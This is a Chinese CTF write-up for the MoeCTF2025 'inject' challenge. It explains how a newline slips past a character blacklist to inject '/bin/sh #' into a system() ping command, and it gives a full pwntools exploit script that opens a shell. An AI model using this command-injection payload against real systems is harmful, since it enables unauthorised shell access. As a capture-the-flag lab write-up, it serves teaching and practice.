inject
.png)
main函数:
.png)
ping_host函数:
.png)
execute函数:
.png)
check函数:
.png)
我们先看main函数,就是一个菜单,会调用execute,里面是一个system,我们可以发现除了4选项,其他选项都没什么用,我们看4选项的ping_host函数,我们可以向buf输入16字节,然后会检查最后一字节是不是换行符,如果是的话覆盖成\x00,然后会调用check函数检查我们的输入,禁止了check函数中字符串中的那些字符,通过检查后把buf拼接字符串“ping buf -c 4”,然后system执行这个字符串的命令
这里能直接控制system的指令了,我们就可以考虑直接让system执行sh,首先我们要解决前面的ping,我们知道,在 Linux Shell 中,想要在一个字符串里执行两条独立的命令,必须使用命令分隔符,常见的命令分割符有:;,|,&,\n,这里我们发现只剩\n没有被禁,那我们就可以使用\n/bin/sh,这样拼接完后就是ping \n/bin/sh,执行完system(ping)后会接着执行system(/bin/sh),然后我们要解决后面的-c 4,如果不解决的话我们把-c 4看作参数,这里没禁用#,我们在后面加一个#,把-c 4注释掉就行,注意,这里/bin/sh和#中间要有一个空格,不然system会把/bin/sh#看成一个整体的
EXP:
from pwn import *
import sys
context(arch='amd64', os='linux')
file_name = './pwn'
elf = ELF(file_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
if switch:
target = ''
port = 0
p = remote(target, port)
else:
p = process(file_name)
if debug:
context(log_level='debug')
if gdb_ and switch == 0:
gdb.attach(p)
pause()
s = lambda data : p.send(data)
sa = lambda delim, data : p.sendafter(delim, data)
sl = lambda data : p.sendline(data)
sla = lambda delim, data : p.sendlineafter(delim, data)
r = lambda numb=4096 : p.recv(numb)
ru = lambda delim, drop=True : p.recvuntil(delim, drop)
rl = lambda : p.recvline()
lg = lambda name, data : log.success(name + ': ' + hex(data))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
#################################################################################
sla(b'Your choice:',b'4')
payload = flat([
'\n/bin/sh #'
])
sla(b'Enter host to ping: ',payload)
p.interactive()
题目链接:
CTF-Writeups/MoeCTF2025/inject at main · Zenquiem/CTF-Writeups
inject
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-svyhdNTs